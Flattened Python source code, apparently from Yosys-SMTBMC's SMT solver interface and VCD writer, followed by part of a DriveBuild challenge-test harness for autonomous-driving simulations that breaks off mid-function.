"cvc4": if self.noincr: self.popen_vargs = ['cvc4', '--lang', 'smt2.6' if self.logic_dt else 'smt2'] + self.solver_opts else: self.popen_vargs = ['cvc4', '--incremental', '--lang', 'smt2.6' if self.logic_dt else 'smt2'] + self.solver_opts if self.solver == "mathsat": self.popen_vargs = ['mathsat'] + self.solver_opts if self.solver == "boolector": if self.noincr: self.popen_vargs = ['boolector', '--smt2'] + self.solver_opts else: self.popen_vargs = ['boolector', '--smt2', '-i'] + self.solver_opts self.unroll = True if self.solver == "abc": if len(self.solver_opts) > 0: self.popen_vargs = ['yosys-abc', '-S', '; '.join(self.solver_opts)] else: self.popen_vargs = ['yosys-abc', '-S', '%blast; &sweep -C 5000; &syn4; &cec -s -m -C 2000'] self.logic_ax = False self.unroll = True self.noincr = True if self.solver == "dummy": assert self.dummy_file is not None self.dummy_fd = open(self.dummy_file, "r") else: if self.dummy_file is not None: self.dummy_fd = open(self.dummy_file, "w") if not self.noincr: self.p_open() if self.unroll: assert not self.forall self.logic_uf = False self.unroll_idcnt = 0 self.unroll_buffer = "" self.unroll_sorts = set() self.unroll_objs = set() self.unroll_decls = dict() self.unroll_cache = dict() self.unroll_stack = list() if self.logic is None: self.logic = "" if self.logic_qf: self.logic += "QF_" if self.logic_ax: self.logic += "A" if self.logic_uf: self.logic += "UF" if self.logic_bv: self.logic += "BV" if self.logic_dt: self.logic = "ALL" self.setup_done = True for stmt in self.info_stmts: self.write(stmt) if self.produce_models: self.write("(set-option :produce-models true)") self.write("(set-logic %s)" % self.logic) def timestamp(self): secs = int(time() - self.start_time) return "## %3d:%02d:%02d " % (secs // (60*60), (secs // 60) % 60, secs % 60) def replace_in_stmt(self, stmt, pat, repl): if stmt == pat: return repl if isinstance(stmt, list): return [self.replace_in_stmt(s, pat, repl) for s in stmt] return stmt def unroll_stmt(self, stmt): if not isinstance(stmt, list): return stmt stmt = [self.unroll_stmt(s) for s in stmt] if len(stmt) >= 2 and not isinstance(stmt[0], list) and stmt[0] in self.unroll_decls: assert stmt[1] in self.unroll_objs key = tuple(stmt) if key not in self.unroll_cache: decl = deepcopy(self.unroll_decls[key[0]]) self.unroll_cache[key] = "|UNROLL#%d|" % self.unroll_idcnt decl[1] = self.unroll_cache[key] self.unroll_idcnt += 1 if decl[0] == "declare-fun": if isinstance(decl[3], list) or decl[3] not in self.unroll_sorts: self.unroll_objs.add(decl[1]) decl[2] = list() else: self.unroll_objs.add(decl[1]) decl = list() elif decl[0] == "define-fun": arg_index = 1 for arg_name, arg_sort in decl[2]: decl[4] = self.replace_in_stmt(decl[4], arg_name, key[arg_index]) arg_index += 1 decl[2] = list() if len(decl) > 0: decl = self.unroll_stmt(decl) self.write(self.unparse(decl), unroll=False) return self.unroll_cache[key] return stmt def p_thread_main(self): while True: data = self.p.stdout.readline().decode("ascii") if data == "": break self.p_queue.put(data) self.p_queue.put("") self.p_running = False def p_open(self): assert self.p is None self.p = subprocess.Popen(self.popen_vargs, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) running_solvers[self.p_index] = self.p self.p_running = True self.p_next = None self.p_queue = Queue() self.p_thread = Thread(target=self.p_thread_main) self.p_thread.start() def p_write(self, data, flush): assert self.p is not None self.p.stdin.write(bytes(data, "ascii")) if flush: self.p.stdin.flush() def p_read(self): assert self.p is not None if self.p_next is not None: data = self.p_next self.p_next = None return data if not self.p_running: return "" return self.p_queue.get() def p_poll(self, timeout=0.1): assert self.p is not None assert self.p_running if self.p_next is not None: return False try: self.p_next = self.p_queue.get(True, timeout) return False except Empty: return True def p_close(self): assert self.p is not None self.p.stdin.close() self.p_thread.join() assert not self.p_running del running_solvers[self.p_index] self.p = None self.p_next = None self.p_queue = None self.p_thread = None def write(self, stmt, unroll=True): if stmt.startswith(";"): self.info(stmt) if not self.setup_done: self.info_stmts.append(stmt) return elif not self.setup_done: self.setup() stmt = stmt.strip() if self.nocomments or self.unroll: stmt = re.sub(r" *;.*", "", stmt) if stmt == "": return if unroll and self.unroll: stmt = self.unroll_buffer + stmt self.unroll_buffer = "" s = re.sub(r"\|[^|]*\|", "", stmt) if s.count("(") != s.count(")"): self.unroll_buffer = stmt + " " return s = self.parse(stmt) if self.debug_print: print("-> %s" % s) if len(s) == 3 and s[0] == "declare-sort" and s[2] == "0": self.unroll_sorts.add(s[1]) return elif len(s) == 4 and s[0] == "declare-fun" and s[2] == [] and s[3] in self.unroll_sorts: self.unroll_objs.add(s[1]) return elif len(s) >= 4 and s[0] == "declare-fun": for arg_sort in s[2]: if arg_sort in self.unroll_sorts: self.unroll_decls[s[1]] = s return elif len(s) >= 4 and s[0] == "define-fun": for arg_name, arg_sort in s[2]: if arg_sort in self.unroll_sorts: self.unroll_decls[s[1]] = s return stmt = self.unparse(self.unroll_stmt(s)) if stmt == "(push 1)": self.unroll_stack.append(( deepcopy(self.unroll_sorts), deepcopy(self.unroll_objs), deepcopy(self.unroll_decls), deepcopy(self.unroll_cache), )) if stmt == "(pop 1)": self.unroll_sorts, self.unroll_objs, self.unroll_decls, self.unroll_cache = self.unroll_stack.pop() if self.debug_print: print("> %s" % stmt) if self.debug_file: print(stmt, file=self.debug_file) self.debug_file.flush() if self.solver != "dummy": if self.noincr: if self.p is not None and not stmt.startswith("(get-"): self.p_close() if stmt == "(push 1)": self.smt2cache.append(list()) elif stmt == "(pop 1)": self.smt2cache.pop() else: if self.p is not None: self.p_write(stmt + "\n", True) self.smt2cache[-1].append(stmt) else: self.p_write(stmt + "\n", True) def info(self, stmt): if not stmt.startswith("; yosys-smt2-"): return fields = stmt.split() if fields[1] == "yosys-smt2-nomem": if self.logic is None: self.logic_ax = False if fields[1] == "yosys-smt2-nobv": if self.logic is None: self.logic_bv = False if fields[1] == "yosys-smt2-stdt": if self.logic is None: self.logic_dt = True if fields[1] == "yosys-smt2-forall": if self.logic is None: self.logic_qf = False self.forall = True if fields[1] == "yosys-smt2-module": self.curmod = fields[2] self.modinfo[self.curmod] = SmtModInfo() if fields[1] == "yosys-smt2-cell": self.modinfo[self.curmod].cells[fields[3]] = fields[2] if fields[1] == "yosys-smt2-topmod": self.topmod = fields[2] if fields[1] == "yosys-smt2-input": self.modinfo[self.curmod].inputs.add(fields[2]) self.modinfo[self.curmod].wsize[fields[2]] = int(fields[3]) if fields[1] == "yosys-smt2-output": self.modinfo[self.curmod].outputs.add(fields[2]) self.modinfo[self.curmod].wsize[fields[2]] = int(fields[3]) if fields[1] == "yosys-smt2-register": self.modinfo[self.curmod].registers.add(fields[2]) self.modinfo[self.curmod].wsize[fields[2]] = int(fields[3]) if fields[1] == "yosys-smt2-memory": self.modinfo[self.curmod].memories[fields[2]] = (int(fields[3]), int(fields[4]), int(fields[5]), int(fields[6]), fields[7] == "async") if fields[1] == "yosys-smt2-wire": self.modinfo[self.curmod].wires.add(fields[2]) self.modinfo[self.curmod].wsize[fields[2]] = int(fields[3]) if fields[1] == "yosys-smt2-clock": for edge in fields[3:]: if fields[2] not in self.modinfo[self.curmod].clocks: self.modinfo[self.curmod].clocks[fields[2]] = edge elif self.modinfo[self.curmod].clocks[fields[2]] != edge: self.modinfo[self.curmod].clocks[fields[2]] = "event" if fields[1] == "yosys-smt2-assert": self.modinfo[self.curmod].asserts["%s_a %s" % (self.curmod, fields[2])] = fields[3] if fields[1] == "yosys-smt2-cover": self.modinfo[self.curmod].covers["%s_c %s" % (self.curmod, fields[2])] = fields[3] if fields[1] == "yosys-smt2-anyconst": self.modinfo[self.curmod].anyconsts[fields[2]] = (fields[4], None if len(fields) <= 5 else fields[5]) self.modinfo[self.curmod].asize[fields[2]] = int(fields[3]) if fields[1] == "yosys-smt2-anyseq": self.modinfo[self.curmod].anyseqs[fields[2]] = (fields[4], None if len(fields) <= 5 else fields[5]) self.modinfo[self.curmod].asize[fields[2]] = int(fields[3]) if fields[1] == "yosys-smt2-allconst": self.modinfo[self.curmod].allconsts[fields[2]] = (fields[4], None if len(fields) <= 5 else fields[5]) self.modinfo[self.curmod].asize[fields[2]] = int(fields[3]) if fields[1] == "yosys-smt2-allseq": self.modinfo[self.curmod].allseqs[fields[2]] = (fields[4], None if len(fields) <= 5 else fields[5]) self.modinfo[self.curmod].asize[fields[2]] = int(fields[3]) def hiernets(self, top, regs_only=False): def hiernets_worker(nets, mod, cursor): for netname in sorted(self.modinfo[mod].wsize.keys()): if not regs_only or netname in self.modinfo[mod].registers: nets.append(cursor + [netname]) for cellname, celltype in sorted(self.modinfo[mod].cells.items()): hiernets_worker(nets, celltype, cursor + [cellname]) nets = list() hiernets_worker(nets, top, []) return nets def hieranyconsts(self, top): def worker(results, mod, cursor): for name, value in sorted(self.modinfo[mod].anyconsts.items()): width = self.modinfo[mod].asize[name] results.append((cursor, name, value[0], value[1], width)) for cellname, celltype in sorted(self.modinfo[mod].cells.items()): worker(results, celltype, cursor + [cellname]) results = list() worker(results, top, []) return results def hieranyseqs(self, top): def worker(results, mod, cursor): for name, value in sorted(self.modinfo[mod].anyseqs.items()): width = self.modinfo[mod].asize[name] results.append((cursor, name, value[0], value[1], width)) for cellname, celltype in sorted(self.modinfo[mod].cells.items()): worker(results, celltype, cursor + [cellname]) results = list() worker(results, top, []) return results def hierallconsts(self, top): def worker(results, mod, cursor): for name, value in sorted(self.modinfo[mod].allconsts.items()): width = self.modinfo[mod].asize[name] results.append((cursor, name, value[0], value[1], width)) for cellname, celltype in sorted(self.modinfo[mod].cells.items()): worker(results, celltype, cursor + [cellname]) results = list() worker(results, top, []) return results def hierallseqs(self, top): def worker(results, mod, cursor): for name, value in sorted(self.modinfo[mod].allseqs.items()): width = self.modinfo[mod].asize[name] results.append((cursor, name, value[0], value[1], width)) for cellname, celltype in sorted(self.modinfo[mod].cells.items()): worker(results, celltype, cursor + [cellname]) results = list() worker(results, top, []) return results def hiermems(self, top): def hiermems_worker(mems, mod, cursor): for memname in sorted(self.modinfo[mod].memories.keys()): mems.append(cursor + [memname]) for cellname, celltype in sorted(self.modinfo[mod].cells.items()): hiermems_worker(mems, celltype, cursor + [cellname]) mems = list() hiermems_worker(mems, top, []) return mems def read(self): stmt = [] count_brackets = 0 while True: if self.solver == "dummy": line = self.dummy_fd.readline().strip() else: line = self.p_read().strip() if self.dummy_file is not None: self.dummy_fd.write(line + "\n") count_brackets += line.count("(") count_brackets -= line.count(")") stmt.append(line) if self.debug_print: print("< %s" % line) if count_brackets == 0: break if self.solver != "dummy" and self.p.poll(): print("%s Solver terminated unexpectedly: %s" % (self.timestamp(), "".join(stmt)), flush=True) sys.exit(1) stmt = "".join(stmt) if stmt.startswith("(error"): print("%s Solver Error: %s" % (self.timestamp(), stmt), flush=True) if self.solver != "dummy": self.p_close() sys.exit(1) return stmt def check_sat(self): if self.debug_print: print("> (check-sat)") if self.debug_file and not self.nocomments: print("; running check-sat..", file=self.debug_file) self.debug_file.flush() if self.solver != "dummy": if self.noincr: if self.p is not None: self.p_close() self.p_open() for cache_ctx in self.smt2cache: for cache_stmt in cache_ctx: self.p_write(cache_stmt + "\n", False) self.p_write("(check-sat)\n", True) if self.timeinfo: i = 0 s = "/-\|" count = 0 num_bs = 0 while self.p_poll(): count += 1 if count < 25: continue if count % 10 == 0 or count == 25: secs = count // 10 if secs < 60: m = "(%d seconds)" % secs elif secs < 60*60: m = "(%d seconds -- %d:%02d)" % (secs, secs // 60, secs % 60) else: m = "(%d seconds -- %d:%02d:%02d)" % (secs, secs // (60*60), (secs // 60) % 60, secs % 60) print("%s %s %c" % ("\b \b" * num_bs, m, s[i]), end="", file=sys.stderr) num_bs = len(m) + 3 else: print("\b" + s[i], end="", file=sys.stderr) sys.stderr.flush() i = (i + 1) % len(s) if num_bs != 0: print("\b \b" * num_bs, end="", file=sys.stderr) sys.stderr.flush() else: count = 0 while self.p_poll(60): count += 1 msg = None if count == 1: msg = "1 minute" elif count in [5, 10, 15, 30]: msg = "%d minutes" % count elif count == 60: msg = "1 hour" elif count % 60 == 0: msg = "%d hours" % (count // 60) if msg is not None: print("%s waiting for solver (%s)" % (self.timestamp(), msg), flush=True) result = self.read() if self.debug_file: print("(set-info :status %s)" % result, file=self.debug_file) print("(check-sat)", file=self.debug_file) self.debug_file.flush() if result not in ["sat", "unsat"]: if result == "": print("%s Unexpected EOF response from solver." % (self.timestamp()), flush=True) else: print("%s Unexpected response from solver: %s" % (self.timestamp(), result), flush=True) if self.solver != "dummy": self.p_close() sys.exit(1) return result def parse(self, stmt): def worker(stmt): if stmt[0] == '(': expr = [] cursor = 1 while stmt[cursor] != ')': el, le = worker(stmt[cursor:]) expr.append(el) cursor += le return expr, cursor+1 if stmt[0] == '|': expr = "|" cursor = 1 while stmt[cursor] != '|': expr += stmt[cursor] cursor += 1 expr += "|" return expr, cursor+1 if stmt[0] in [" ", "\t", "\r", "\n"]: el, le = worker(stmt[1:]) return el, le+1 expr = "" cursor = 0 while stmt[cursor] not in ["(", ")", "|", " ", "\t", "\r", "\n"]: expr += stmt[cursor] cursor += 1 return expr, cursor return worker(stmt)[0] def unparse(self, stmt): if isinstance(stmt, list): return "(" + " ".join([self.unparse(s) for s in stmt]) + ")" return stmt def bv2hex(self, v): h = "" v = self.bv2bin(v) while len(v) > 0: d = 0 if len(v) > 0 and v[-1] == "1": d += 1 if len(v) > 1 and v[-2] == "1": d += 2 if len(v) > 2 and v[-3] == "1": d += 4 if len(v) > 3 and v[-4] == "1": d += 8 h = hex(d)[2:] + h if len(v) < 4: break v = v[:-4] return h def bv2bin(self, v): if type(v) is list and len(v) == 3 and v[0] == "_" and v[1].startswith("bv"): x, n = int(v[1][2:]), int(v[2]) return "".join("1" if (x & (1 << i)) else "0" for i in range(n-1, -1, -1)) if v == "true": return "1" if v == "false": return "0" if v.startswith("#b"): return v[2:] if v.startswith("#x"): return "".join(hex_dict.get(x) for x in v[2:]) assert False def bv2int(self, v): return int(self.bv2bin(v), 2) def get(self, expr): self.write("(get-value (%s))" % (expr)) return self.parse(self.read())[0][1] def get_list(self, expr_list): if len(expr_list) == 0: return [] self.write("(get-value (%s))" % " ".join(expr_list)) return [n[1] for n in self.parse(self.read())] def get_path(self, mod, path): assert mod in self.modinfo path = path.replace("\\", "/").split(".") for i in range(len(path)-1): first = ".".join(path[0:i+1]) second = ".".join(path[i+1:]) if first in self.modinfo[mod].cells: nextmod = self.modinfo[mod].cells[first] return [first] + self.get_path(nextmod, second) return [".".join(path)] def net_expr(self, mod, base, path): if len(path) == 0: return base if len(path) == 1: assert mod in self.modinfo if path[0] == "": return base if path[0] in self.modinfo[mod].cells: return "(|%s_h %s| %s)" % (mod, path[0], base) if path[0] in self.modinfo[mod].wsize: return "(|%s_n %s| %s)" % (mod, path[0], base) if path[0] in self.modinfo[mod].memories: return "(|%s_m %s| %s)" % (mod, path[0], base) assert 0 assert mod in self.modinfo assert path[0] in self.modinfo[mod].cells nextmod = self.modinfo[mod].cells[path[0]] nextbase = "(|%s_h %s| %s)" % (mod, path[0], base) return self.net_expr(nextmod, nextbase, path[1:]) def net_width(self, mod, net_path): for i in range(len(net_path)-1): assert mod in self.modinfo assert net_path[i] in self.modinfo[mod].cells mod = self.modinfo[mod].cells[net_path[i]] assert mod in self.modinfo assert net_path[-1] in self.modinfo[mod].wsize return self.modinfo[mod].wsize[net_path[-1]] def net_clock(self, mod, net_path): for i in range(len(net_path)-1): assert mod in self.modinfo assert net_path[i] in self.modinfo[mod].cells mod = self.modinfo[mod].cells[net_path[i]] assert mod in self.modinfo if net_path[-1] not in self.modinfo[mod].clocks: return None return self.modinfo[mod].clocks[net_path[-1]] def net_exists(self, mod, net_path): for i in range(len(net_path)-1): if mod not in self.modinfo: return False if net_path[i] not in self.modinfo[mod].cells: return False mod = self.modinfo[mod].cells[net_path[i]] if mod not in self.modinfo: return False if net_path[-1] not in self.modinfo[mod].wsize: return False return True def mem_exists(self, mod, mem_path): for i in range(len(mem_path)-1): if mod not in self.modinfo: return False if mem_path[i] not in self.modinfo[mod].cells: return False mod = self.modinfo[mod].cells[mem_path[i]] if mod not in self.modinfo: return False if mem_path[-1] not in self.modinfo[mod].memories: return False return True def mem_expr(self, mod, base, path, port=None, infomode=False): if len(path) == 1: assert mod in self.modinfo assert path[0] in self.modinfo[mod].memories if infomode: return self.modinfo[mod].memories[path[0]] return "(|%s_m%s %s| %s)" % (mod, "" if port is None else ":%s" % port, path[0], base) assert mod in self.modinfo assert path[0] in self.modinfo[mod].cells nextmod = self.modinfo[mod].cells[path[0]] nextbase = "(|%s_h %s| %s)" % (mod, path[0], base) return self.mem_expr(nextmod, nextbase, path[1:], port=port, infomode=infomode) def mem_info(self, mod, path): return self.mem_expr(mod, "", path, infomode=True) def get_net(self, mod_name, net_path, state_name): return self.get(self.net_expr(mod_name, state_name, net_path)) def get_net_list(self, mod_name, net_path_list, state_name): return self.get_list([self.net_expr(mod_name, state_name, n) for n in net_path_list]) def get_net_hex(self, mod_name, net_path, state_name): return self.bv2hex(self.get_net(mod_name, net_path, state_name)) def get_net_hex_list(self, mod_name, net_path_list, state_name): return [self.bv2hex(v) for v in self.get_net_list(mod_name, net_path_list, state_name)] def get_net_bin(self, mod_name, net_path, state_name): return self.bv2bin(self.get_net(mod_name, net_path, state_name)) def get_net_bin_list(self, mod_name, net_path_list, state_name): return [self.bv2bin(v) for v in self.get_net_list(mod_name, net_path_list, state_name)] def wait(self): if self.p is not None: self.p.wait() self.p_close() class SmtOpts: def __init__(self): self.shortopts = "s:S:v" self.longopts = ["unroll", "noincr", "noprogress", "dump-smt2=", "logic=", "dummy=", "info=", "nocomments"] self.solver = "yices" self.solver_opts = list() self.debug_print = False self.debug_file = None self.dummy_file = None self.unroll = False self.noincr = False self.timeinfo = os.name != "nt" self.logic = None self.info_stmts = list() self.nocomments = False def handle(self, o, a): if o == "-s": self.solver = a elif o == "-S": self.solver_opts.append(a) elif o == "-v": self.debug_print = True elif o == "--unroll": self.unroll = True elif o == "--noincr": self.noincr = True elif o == "--noprogress": self.timeinfo = False elif o == "--dump-smt2": self.debug_file = open(a, "w") elif o == "--logic": self.logic = a elif o == "--dummy": self.dummy_file = a elif o == "--info": self.info_stmts.append(a) elif o == "--nocomments": self.nocomments = True else: return False return True def helpmsg(self): return """ -s <solver> set SMT solver: z3, yices, boolector, cvc4, mathsat, dummy default: yices -S <opt> pass <opt> as command line argument to the solver --logic <smt2_logic> use the specified SMT2 logic (e.g. QF_AUFBV) --dummy <filename> if solver is "dummy", read solver output from that file otherwise: write solver output to that file -v enable debug output --unroll unroll uninterpreted functions --noincr don't use incremental solving, instead restart solver for each (check-sat). This also avoids (push) and (pop). --noprogress disable timer display during solving (this option is set implicitly on Windows) --dump-smt2 <filename> write smt2 statements to file --info <smt2-info-stmt> include the specified smt2 info statement in the smt2 output --nocomments strip all comments from the generated smt2 code """ class MkVcd: def __init__(self, f): self.f = f self.t = -1 self.nets = dict() self.clocks = dict() def add_net(self, path, width): path = tuple(path) assert self.t == -1 key = "n%d" % len(self.nets) self.nets[path] = (key, width) def add_clock(self, path, edge): path = tuple(path) assert self.t == -1 key = "n%d" % len(self.nets) self.nets[path] = (key, 1) self.clocks[path] = (key, edge) def set_net(self, path, bits): path = tuple(path) assert self.t >= 0 assert path in self.nets if path not in self.clocks: print("b%s %s" % (bits, self.nets[path][0]), file=self.f) def escape_name(self, name): name = re.sub(r"\[([0-9a-zA-Z_]*[a-zA-Z_][0-9a-zA-Z_]*)\]", r"<\1>", name) if re.match("[\[\]]", name) and name[0] != "\\": name = "\\" + name return name def set_time(self, t): assert t >= self.t if t != self.t: if self.t == -1: print("$version Generated by Yosys-SMTBMC $end", file=self.f) print("$timescale 1ns $end", file=self.f) print("$var integer 32 t smt_step $end", file=self.f) print("$var event 1 ! smt_clock $end", file=self.f) scope = [] for path in sorted(self.nets): key, width = self.nets[path] uipath = list(path) if "." in uipath[-1]: uipath = uipath[0:-1] + uipath[-1].split(".") for i in range(len(uipath)): uipath[i] = re.sub(r"\[([^\]]*)\]", r"<\1>", uipath[i]) while uipath[:len(scope)] != scope: print("$upscope $end", file=self.f) scope = scope[:-1] while uipath[:-1] != scope: scopename = uipath[len(scope)] if scopename.startswith("$"): scopename = "\\" + scopename print("$scope module %s $end" % scopename, file=self.f) scope.append(uipath[len(scope)]) if path in self.clocks and self.clocks[path][1] == "event": print("$var event 1 %s %s $end" % (key, uipath[-1]), file=self.f) else: print("$var wire %d %s %s $end" % (width, key, uipath[-1]), file=self.f) for i in range(len(scope)): print("$upscope $end", file=self.f) print("$enddefinitions $end", file=self.f) self.t = t assert self.t >= 0 if self.t > 0: print("#%d" % (10 * self.t - 5), file=self.f) for path in sorted(self.clocks.keys()): if self.clocks[path][1] == "posedge": print("b0 %s" % self.nets[path][0], file=self.f) elif self.clocks[path][1] == "negedge": print("b1 %s" % self.nets[path][0], file=self.f) print("#%d" % (10 * self.t), file=self.f) print("1!", file=self.f) print("b%s t" % format(self.t, "032b"), file=self.f) for path in sorted(self.clocks.keys()): if self.clocks[path][1] == "negedge": print("b0 %s" % self.nets[path][0], file=self.f) else: print("b1 %s" % self.nets[path][0], file=self.f)
challenge_test.py
from logging import getLogger from dataclasses import dataclass, field from datetime import datetime from drivebuildclient.AIExchangeService import AIExchangeService from drivebuildclient.aiExchangeMessages_pb2 import SimulationID, VehicleID from drivebuildclient import static_vars from lxml.etree import _ElementTree from pathlib import Path from typing import Any, Tuple, List, Optional, Dict @dataclass class ChallengeTestStat(): sid: SimulationID = None started: datetime = None finished: Optional[datetime] = None @dataclass class ChallengeTestGeneratorStat(ChallengeTestStat): failed: bool = False rejected: bool = False # FIXME Leave it in since (sid => not rejected)? num_lanes: int = None invalid: bool = False num_segments: List[int] = field(default_factory=list) markings: List[bool] = field(default_factory=list) @dataclass class ChallengeTestAIStat(ChallengeTestStat): vid: VehicleID = None errored: bool = False timeout: bool = False initial_car_to_lane_angle: float = None goal_area: float = None not_moving: bool = False travelled_distance: float = 0 invalid_goal_area: bool = False _logger = getLogger("SubmissionTester.TestTypes.ChallengeTest") def _prepare_test_files(dbe_tree: _ElementTree, dbc_tree: _ElementTree, ai: Any, lane_markings: Optional[bool]) \ -> Dict[str, ChallengeTestAIStat]: from xml_util import find, findall from lxml.etree import Element from test_types import set_failure_tag, determine_target_positions, set_target_position, extend_goal_region from reference.ai import ReferenceAI # TODO Fix aiFrequencey and stepsPerSecond # Enforce movement modes ego_movement_mode_nodes = findall(dbc_tree, "//db:participant[@id='ego']//*[@movementMode]") if isinstance(ai, ReferenceAI): enforced_mode = "_BEAMNG" target_positions = determine_target_positions(dbe_tree, dbc_tree) else: enforced_mode = "AUTONOMOUS" target_positions = None for node in ego_movement_mode_nodes: node.set("movementMode", enforced_mode) non_ego_movement_mode_nodes = findall(dbc_tree, "//db:participant[@id!='ego']//*[@movementMode='AUTONOMOUS']") for node in non_ego_movement_mode_nodes: node.set("movementMode", "TRAINING") # Possibly enforce lane markings if lane_markings is not None: lane_nodes = findall(dbe_tree, "//db:lane") for node in lane_nodes: node.set("markings", "true" if lane_markings else "false") participant_nodes = findall(dbc_tree, "//db:participant") ai_stats = {} for participant_node in participant_nodes: ai_stat = ChallengeTestAIStat() # Add data requests required by the AI to all participants data_request_node = find(participant_node, "db:ai") if data_request_node is None: data_request_node = Element("ai") participant_node.append(data_request_node) participant_id = participant_node.get("id") ai.add_data_requests(data_request_node, participant_id) submission_car_to_lane_request = Element("carToLaneAngle") submission_car_to_lane_request.set("id", "submissionCarToLane_" + participant_id) data_request_node.append(submission_car_to_lane_request) submission_position_request = Element("position") submission_position_request.set("id", "submissionPosition_" + participant_id) data_request_node.append(submission_position_request) # In case of the movement mode _BEAMNG set the target position for the AV if target_positions: target_position, ai_stat.invalid_goal_area = target_positions[participant_id] if target_position: set_target_position(participant_node, target_position) extend_goal_region(dbc_tree, participant_id, target_position) ai_stats[participant_id] = ai_stat set_failure_tag(dbc_tree) return ai_stats def _generate_test_files(generator: Any, ai: Any, lane_markings: Optional[bool]) \ -> Tuple[Optional[Path], Optional[Path], ChallengeTestGeneratorStat, Dict[str, ChallengeTestAIStat]]: from util import is_dbc, is_dbe from xml_util import parse_xml, find from util import silence_stdout from os.path import basename from lxml.etree import tostring ai_stats = {} dbe_path = None dbc_path = None gen_stat = ChallengeTestGeneratorStat() with silence_stdout(): try: gen_stat.started = datetime.now() test = generator.getTest() if test: dbe_path, dbc_path = test else: gen_stat.failed = True except Exception as ex: _logger.exception(ex) gen_stat.failed = True finally: gen_stat.finished = datetime.now() if not gen_stat.failed: dbe_tree = parse_xml(dbe_path) if not is_dbe(dbe_tree): _logger.debug("\"" + dbe_path.as_posix() + "\" is not a DBE.") gen_stat.invalid = True dbc_tree = parse_xml(dbc_path) if is_dbc(dbc_tree): associated_dbe = find(dbc_tree, "//db:environment").text.strip() if associated_dbe != basename(dbe_path): _logger.debug("The DBC \"" + dbc_path.as_posix() + "\" does not reference the generated DBE.") gen_stat.invalid = True else: _logger.debug("\"" + dbc_path.as_posix() + "\" is not a DBC.") gen_stat.invalid = True if not gen_stat.invalid: ai_stats = _prepare_test_files(dbe_tree, dbc_tree, ai, lane_markings) with open(dbe_path.as_posix(), "wb") as out_file: out_file.write(tostring(dbe_tree)) with open(dbc_path.as_posix(), "wb") as out_file: out_file.write(tostring(dbc_tree)) return dbe_path, dbc_path, gen_stat, ai_stats def _check_validity_constraints(dbe_tree: _ElementTree, dbc_tree: _ElementTree, gen_stat: ChallengeTestGeneratorStat) \ -> None: from xml_util import find if find(dbc_tree, "//db:participant[@id='ego']") is None: gen_stat.invalid = True @static_vars(min_distance=5, min_position_records=5, min_movement_time=60) def _handle_ai(service: AIExchangeService, ai: Any, sid: SimulationID, vid: VehicleID, ai_stat: ChallengeTestAIStat) -> None: from drivebuildclient.aiExchangeMessages_pb2 import DataRequest, TestResult from util import silence_stdout from shapely.geometry import Point from exceptions import NotMovingTermination, Termination position_records: List[Point] = [] def _add_dynamic_stats() -> None: request = DataRequest() request.request_ids.extend([ "submissionCarToLane_" + vid.vid, "submissionPosition_" + vid.vid ]) data = service.request_data(sid, vid, request) if data: if not ai_stat.initial_car_to_lane_angle: # Initial car-to-lane-angle if "submissionCarToLane_" + vid.vid in data.data: ai_stat.initial_car_to_lane_angle \ = data.data["submissionCarToLane_" + vid.vid].car_to_lane_angle.angle # No-movement detection if "submissionPosition_" + vid.vid in data.data: current_position = data.data["submissionPosition_" + vid.vid].position position_records.append(Point(current_position.x, current_position.y)) if len(position_records) > 1: previous_point = position_records[-2] current_point = position_records[-1] ai_stat.travelled_distance = ai_stat.travelled_distance + previous_point.distance(current_point) if len(position_records) > _handle_ai.min_position_records \ and (datetime.now() - ai_stat.started).seconds > _handle_ai.min_movement_time \ and ai_stat.travelled_distance < _handle_ai.min_distance: ai_stat.not_moving = True raise NotMovingTermination() try: with silence_stdout(): ai_stat.started = datetime.now() try: ai.start(sid, vid, _add_dynamic_stats) except Termination as ex: _logger.debug("Detected termination signal (" + str(ex) + ") for AI " + vid.vid + ".") result = TestResult() result.result = TestResult.Result.SKIPPED service.control_sim(sid, result) except Exception as ex: _logger.debug("The AI implementation encountered an internal error.") _logger.exception(str(ex)) ai_stat.errored = True finally: ai_stat.finished = datetime.now() def _get_dbc_with_name(test_trees: List[_ElementTree], test_name: str) -> Optional[_ElementTree]: from util import is_dbc from xml_util import find dbc_tree = None for tree in test_trees: if is_dbc(tree) and find(tree, "//db:name").text == test_name: dbc_tree = tree break return dbc_tree def _calculate_goal_area(criteria_tree: _ElementTree, vid: VehicleID) -> float: from xml_util import findall from shapely.geometry import Point, Polygon from reference.generator import ReferenceTestGenerator from shapely.ops import cascaded_union # FIXME Does not recognize any negated nodes in success criterion # FIXME Does not recognize any negated nodes in failure criterion # FIXME Does not calculate the intersection with lanes goal_position_nodes = findall(criteria_tree, "//db:success//db:scPosition[@participant='" + vid.vid + "']") goal_area_shapes = list(map( lambda n: Point(float(n.get("x")), float(n.get("y"))).buffer(float(n.get("tolerance"))), goal_position_nodes )) goal_area_nodes = findall(criteria_tree, "//db:success//db:scArea[@participant='" + vid.vid + "']") goal_area_shapes.extend(list(map( lambda n: Polygon(shell=ReferenceTestGenerator.get_points_of_goal_area(n)), goal_area_nodes ))) return cascaded_union(goal_area_shapes).area def _run_fight(service: AIExchangeService, generator: Any, ai: Any, lane_markings: Optional[bool]) \ -> Tuple[ChallengeTestGeneratorStat, List[ChallengeTestAIStat]]: from threading import Thread from os import remove from util import join_all from test_types import get_vids_by_tree from xml_util import parse_xml, findall from reference.ai import ReferenceAI dbe_path, dbc_path, gen_stat, ai_stats = _generate_test_files(generator, ai, lane_markings) # NOTE Assumes that the test file paths contain only one test if not gen_stat.failed and not gen_stat.invalid \ and dbe_path is not None and dbc_path is not None: dbe_tree = parse_xml(dbe_path) dbc_tree = parse_xml(dbc_path) _check_validity_constraints(dbe_tree, dbc_tree, gen_stat) submission_result = service.run_tests("test", "test", dbe_path, dbc_path) if submission_result and submission_result.submissions: _, vids = get_vids_by_tree(dbc_tree) ai_threads = {} for _, sid in submission_result.submissions.items(): gen_stat.sid = sid lane_nodes = findall(dbe_tree, "//db:lane") gen_stat.num_lanes = len(lane_nodes) gen_stat.num_segments.extend([len(findall(n, "db:laneSegment")) for n in lane_nodes]) gen_stat.markings.extend([n.get("markings", "false") == "true" for n in findall(dbe_tree, "//db:lane")]) for vid in vids: ai_stat = ai_stats[vid.vid] ai_stat.sid = sid ai_stat.vid = vid ai_stat.goal_area = _calculate_goal_area(dbc_tree, vid) thread = Thread(target=_handle_ai, args=(service, ai if vid.vid == "ego" else ReferenceAI(service), sid, vid, ai_stat)) thread.start() ai_threads[vid.vid] = thread # NOTE Set to a slightly bigger value than the simulation timeout value in DriveBuild 